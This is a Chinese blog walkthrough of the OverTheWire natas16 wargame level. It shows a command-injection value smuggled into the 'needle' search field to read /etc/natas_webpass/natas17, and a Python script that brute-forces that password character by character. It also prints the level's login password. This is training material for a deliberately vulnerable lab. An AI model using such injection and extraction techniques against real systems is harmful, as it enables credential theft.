natas16 题解

本题与上一题相似(可看我上篇文章nata15 题解)

进入后发现和早前某关像,执行一个grep命令查找,这里的过滤字符中恰恰没包括 $ . * 这三个,可以利用$(grep -E ^8.* /etc/natas_webpasswd/natas17)hello 这样去输入

如果返回了hello和其他的字串,说明这里的grep没有执行,-E 是执行一个正则表达式,^8,* 这个表达式的意思是以8开头(这里就是上题的思路了),每次试出一个后附加上去然后继续试下一个,下一个加在原来的末尾,下面用python3实现,requests库比较好用,容易理解

import requests
url = "http://natas16.natas.labs.overthewire.org/"
username = "natas16"
password= 'WaIHEacj63wnNIBROHeqi3p9t0m5nhmh'
au = requests.auth.HTTPBasicAuth(username,password)
ans=""
testCharacter="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
i=0
while i < len(testCharacter):
#print(url1+key+url2)
    payload={'needle':'$(grep -E ^'+ans+testCharacter[i]+'.* /etc/natas_webpass/natas17)hello','submit':'Search'}
    req = requests.get(url,auth=au,params=payload)
    if 'hello' not in req.text:
        ans+=testCharacter[i]
        print(ans)
        i=0
        continue
    i+=1

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值